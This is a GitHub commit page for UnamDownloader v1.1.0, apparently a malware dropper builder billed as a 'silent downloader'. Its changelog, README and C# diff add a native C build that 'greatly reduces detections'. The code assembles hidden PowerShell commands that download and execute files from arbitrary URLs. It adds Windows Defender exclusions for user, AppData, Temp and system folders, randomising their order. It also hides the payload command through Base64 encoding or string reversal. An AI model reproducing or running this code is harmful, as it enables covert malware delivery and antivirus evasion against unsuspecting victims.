Skip to content

Commit

Permalink
Updated to v1.1.0
Browse files Browse the repository at this point in the history
* Added option to build the downloader as a native C file, greatly reduces detections
* Added a TinyCC compiler for native C builds
* Updated required .NET for the builder to .NET 4.5 and the required .NET for the managed .NET C# build to .NET 4.0
* Changed the Run as Administrator option to use a new manifest file
  • Loading branch information
UnamSanctam committed Aug 14, 2021
1 parent 6d81382 commit b37c934
Show file tree
Hide file tree
Showing 19 changed files with 309 additions and 87 deletions.
5 changes: 5 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,7 @@
### v1.1.0 (14/08/2021)
* Added option to build the downloader as a native C file, greatly reduces detections
* Added a TinyCC compiler for native C builds
* Updated required .NET for the builder to .NET 4.5 and the required .NET for the managed .NET C# build to .NET 4.0
* Changed the Run as Administrator option to use a new manifest file
### v1.0.0 (14/08/2021)
* Initial release
13 changes: 9 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,26 +1,31 @@

<img src="https://github.com/UnamSanctam/UnamDownloader/blob/master/UnamDownloader.png?raw=true">

# UnamDownloader 1.0.0 - A free silent downloader
# UnamDownloader 1.1.0 - A free silent downloader

## Main Features

* .NET - Coded in C#, requires minimum .NET Framework 3.5
* Native (C) - Can choose to build the downloader as a native (C) file, basically no run requirements
* Managed (C#) - Can choose to build the downloader as a managed (.NET C#) file, requires at least .NET 4.0
* Silent - Downloads and executes (if enabled) files without any visible output
* Tiny - Final downloader build is usually less than 10kb
* Multiple files - Supports downloading any amount of files
* Powershell - Does everything through powershell which currently greatly reduces detections
* Compatible - Supports all tested Windows version (Windows 7 to Windows 10) and all file types
* Windows Defender exclusions - Can add exclusions into Windows Defender to ignore any detections from the downloaded files
* Icon - Supports adding an icon to the built file
* Assembly - Supports adding assembly data to the built file
* Icon/Assembly - Supports adding an icon and assembly data to the built file with building a managed .NET C# build

## Downloads

Pre-Compiled: https://github.com/UnamSanctam/UnamDownloader/releases

## Changelog

### v1.1.0 (14/08/2021)
* Added option to build the downloader as a native C file, greatly reduces detections
* Added a TinyCC compiler for native C builds
* Updated required .NET for the builder to .NET 4.5 and the required .NET for the managed .NET C# build to .NET 4.0
* Changed the Run as Administrator option to use a new manifest file
### v1.0.0 (14/08/2021)
* Initial release

Expand Down
Binary file modified UnamDownloader.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
65 changes: 56 additions & 9 deletions UnamDownloader/Builder.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

117 changes: 87 additions & 30 deletions UnamDownloader/Builder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Text;
using System.Windows.Forms;

Expand All @@ -19,23 +21,24 @@ public Builder()
InitializeComponent();
}

public void DownloaderCompiler(string savePath)
private void Form1_Load(object sender, EventArgs e)
{
if(savePath.Length == 0)
{
MessageBox.Show("Save path cannot be empty!", "Incorrect build!", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
radioNative.Checked = true;
}

public void ManagedCompiler(string savePath)
{
var providerOptions = new Dictionary<string, string>();
providerOptions.Add("CompilerVersion", "v3.5");
providerOptions.Add("CompilerVersion", "v4.0");
CompilerParameters parameters = new CompilerParameters();
string compilerOptions = " /target:winexe /platform:AnyCPU /optimize ";
string compilerOptions = " /target:winexe /platform:AnyCPU /optimize+ ";

StringBuilder loaderbuilder = new StringBuilder(Properties.Resources.Program);

if (checkAdmin.Checked)
{
System.IO.File.WriteAllBytes(savePath + ".manifest", Properties.Resources.administrator);
compilerOptions += " /win32manifest:\"" + savePath + ".manifest" + "\"";
loaderbuilder.Replace("DefAdmin", "true");
}

Expand All @@ -51,25 +54,7 @@ public void DownloaderCompiler(string savePath)
parameters.ReferencedAssemblies.Add("System.dll");
parameters.ReferencedAssemblies.Add("System.Core.dll");

List<string> downloads = new List<string>();
List<string> executes = new List<string>();

int count = listFiles.Items.Count;
for (int i = 0; i < count; i++)
{
File filevar = ((File)listFiles.Items[i]);
string droplocation = filevar.comboDropLocation.Text == "Current Directory" ? "%cd%" : "%" + filevar.comboDropLocation.Text + "%";
downloads.Add(string.Format(@"powershell (New-Object System.Net.WebClient).DownloadFile('{0}', '{1}')", filevar.txtDownloadURL.Text, Path.Combine(droplocation, filevar.txtFilename.Text)));
if (filevar.toggleExecute.Checked)
{
executes.Add(string.Format(@"powershell Start-Process -FilePath '{0}'", Path.Combine(droplocation, filevar.txtFilename.Text)));
}
}

string exclusions = "powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & ";

loaderbuilder.Replace("#DATA", Convert.ToBase64String(Encoding.ASCII.GetBytes(@"/c " + (checkWD.Checked ? exclusions : "") + string.Join(" & ", downloads.ToArray()) + (executes.Count > 0 ? " & " + string.Join(" & ", executes.ToArray()) : "") + " & exit")));
loaderbuilder.Replace("#CMD", Convert.ToBase64String(Encoding.ASCII.GetBytes("cmd")));
loaderbuilder.Replace("#DATA", Convert.ToBase64String(Encoding.ASCII.GetBytes(CreateCommand())));
loaderbuilder.Replace("DefDebug", "false");
loaderbuilder.Replace("%Guid%", Guid.NewGuid().ToString());

Expand All @@ -96,9 +81,60 @@ public void DownloaderCompiler(string savePath)
MessageBox.Show(error.ToString(), "Error when building downloader!", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
if (checkAdmin.Checked)
{
System.IO.File.Delete(savePath + ".manifest");
}
}

public static string RandomString(int length)
public void NativeCompiler(string savePath)
{
string currentDirectory = Path.GetDirectoryName(savePath);
string filename = Path.GetFileNameWithoutExtension(savePath) + ".c";
using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.tinycc)))
{
archive.ExtractToDirectory(currentDirectory);
}
if (checkAdmin.Checked)
{
System.IO.File.WriteAllBytes(Path.Combine(currentDirectory, "manifest.o"), Properties.Resources.manifest);
}
System.IO.File.WriteAllText(Path.Combine(currentDirectory, filename), Properties.Resources.Program1.Replace("#COMMAND", ReverseString("cmd " + CreateCommand())));
Process.Start(new ProcessStartInfo
{
FileName = Path.Combine(currentDirectory, "tinycc/tcc"),
Arguments = "-Wall -Wl,-subsystem=windows \"" + filename + "\" " + (checkAdmin.Checked ? "manifest.o" : "") + " -luser32",
WindowStyle = ProcessWindowStyle.Hidden,
}).WaitForExit();
System.IO.File.Delete(Path.Combine(currentDirectory, "manifest.o"));
System.IO.File.Delete(Path.Combine(currentDirectory, filename));
Directory.Delete(Path.Combine(currentDirectory, "tinycc"), true);
}

public string CreateCommand()
{
List<string> downloads = new List<string>();
List<string> executes = new List<string>();

int count = listFiles.Items.Count;
for (int i = 0; i < count; i++)
{
File filevar = ((File)listFiles.Items[i]);
string droplocation = filevar.comboDropLocation.Text == "Current Directory" ? "%cd%" : "%" + filevar.comboDropLocation.Text + "%";
downloads.Add(string.Format(@"powershell (New-Object System.Net.WebClient).DownloadFile('{0}', '{1}')", filevar.txtDownloadURL.Text, Path.Combine(droplocation, filevar.txtFilename.Text)));
if (filevar.toggleExecute.Checked)
{
executes.Add(string.Format(@"powershell Start-Process -FilePath '{0}'", Path.Combine(droplocation, filevar.txtFilename.Text)));
}
}

string[] exclusions = { "powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%'", "powershell -Command Add-MpPreference -ExclusionPath '%AppData%'", "powershell -Command Add-MpPreference -ExclusionPath '%Temp%'", "powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%'" };
string[] randomexclusions = exclusions.OrderBy(x => random.Next()).ToArray();

return ("/c " + (checkWD.Checked ? string.Join(" & ", randomexclusions) + " & " : "") + string.Join(" & ", downloads.ToArray()) + (executes.Count > 0 ? " & " + string.Join(" & ", executes.ToArray()) : "") + " & exit").Replace(@"\", @"\\").Replace("\"", "\\\"");
}

public string RandomString(int length)
{
const string chars = "abcdefghijklmnpqrstuvwxyz";
const int clength = 25;
Expand All @@ -110,7 +146,15 @@ public static string RandomString(int length)
return new string(buffer);
}

public static string SaveDialog(string filter)
public string ReverseString(string text)
{
if (text == null) return null;
char[] array = text.ToCharArray();
Array.Reverse(array);
return new String(array);
}

public string SaveDialog(string filter)
{
SaveFileDialog dialog = new SaveFileDialog();
dialog.Filter = filter;
Expand Down Expand Up @@ -159,15 +203,28 @@ private void btnBuild_Click(object sender, EventArgs e)
return;
}
string save = SaveDialog("Exe Files (.exe)|*.exe|All Files (*.*)|*.*");

if (save.Length > 0)
{
DownloaderCompiler(save);
if (radioNative.Checked)
{
NativeCompiler(save);
}
else
{
ManagedCompiler(save);
}
}
}

private void btnVanity_Click(object sender, EventArgs e)
{
vanity.Show();
}

private void radioNative_CheckedChanged(object sender)
{
btnVanity.Visible = !radioNative.Checked;
}
}
}
Loading

0 comments on commit b37c934

Please sign in to comment.